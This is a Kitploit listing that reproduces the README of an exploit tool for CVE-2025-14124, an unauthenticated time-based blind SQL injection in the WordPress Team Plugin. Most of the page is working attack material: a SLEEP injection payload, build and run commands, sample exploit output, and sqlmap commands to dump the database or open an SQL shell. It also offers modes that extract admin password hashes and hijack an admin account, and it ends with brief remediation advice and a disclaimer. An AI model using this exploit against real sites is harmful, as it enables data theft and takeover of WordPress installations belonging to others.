Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-14124 — Unauthenticated SQL Injection (Time-Based Blind) | Kitploit
Tools/GitHubGitHub/hyunchiya/cve-2025-14124
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

Unauthenticated SQL Injection (Time-Based Blind)

View Repository
7 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-14124

WordPress Team Plugin - Unauthenticated SQL Injection

Author: Hyun Chiya


Vulnerability Information

FieldValue
CVE IDCVE-2025-14124
PluginWordPress Team Plugin
Affected Versions< 5.0.11
Vulnerability TypeUnauthenticated SQL Injection (Time-Based Blind)
SeverityHigh

Description

The WordPress Team Plugin does not properly sanitize and escape the search parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to SQL injection.

Root Cause Analysis

The vulnerable code is in app/Controllers/Frontend/Ajax/LoadMore.php:

root@kitploit:~
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

Problem: $wpdb->esc_like() only escapes LIKE wildcards, NOT SQL injection metacharacters.

Exploitation Flow

root@kitploit:~
flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

Prerequisites

  1. Target has WordPress Team Plugin installed (< 5.0.11)
  2. A page with [tlpteam] shortcode must exist
  3. At least one team member created in the plugin

Build

root@kitploit:~
go build -o CVE-2025-14124.exe main.go

Usage

Auto-detect Team Page

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com

Specify Team Page URL

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

Check Plugin Only

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --check-only

Custom SLEEP Delay

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --delay 5

Options

Data Extraction Mode (--dump)

When using --dump, the tool will extract:

  • Database version
  • Current database name
  • Database user
  • WordPress table prefix
  • Admin username
  • Admin password hash
  • Admin email

Note: Data extraction is slow due to time-based blind SQL injection nature (~5-15 minutes for full extraction).

Admin Hijack Mode (--create-admin)

Attempts to change existing admin password via SQL UPDATE.

⚠️ Important: This mode requires stacked queries support, which is typically disabled in PHP+MySQL. If stacked queries are not supported, use --dump to extract credentials instead, or use sqlmap --sql-shell for direct UPDATE execution.

Example Output

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

Using with SQLMap

For advanced exploitation, you can use sqlmap after confirming the vulnerability:

root@kitploit:~
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

Remediation

⚠️ IMPORTANT: Update WordPress Team Plugin to version 5.0.11 or later where the vulnerability has been patched with proper SQL escaping using $wpdb->prepare().

References

  • WPScan Vulnerability Database

Disclaimer

This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use responsibly.

Author

Hyun Chiya

Download Tool
ArgumentDescription
-uTarget WordPress URL (required)
--page-urlPage URL containing tlpteam shortcode
--delaySLEEP seconds for detection (default: 1)
--dumpExtract database info and WordPress admin credentials
--create-adminAttempt to hijack admin account (requires stacked queries)
--admin-userUsername for admin hijack (default: pwned_admin)
--admin-passPassword for admin hijack (default: Pwned123!)
--check-onlyOnly check if plugin is active
--timeoutRequest timeout in seconds (default: 120)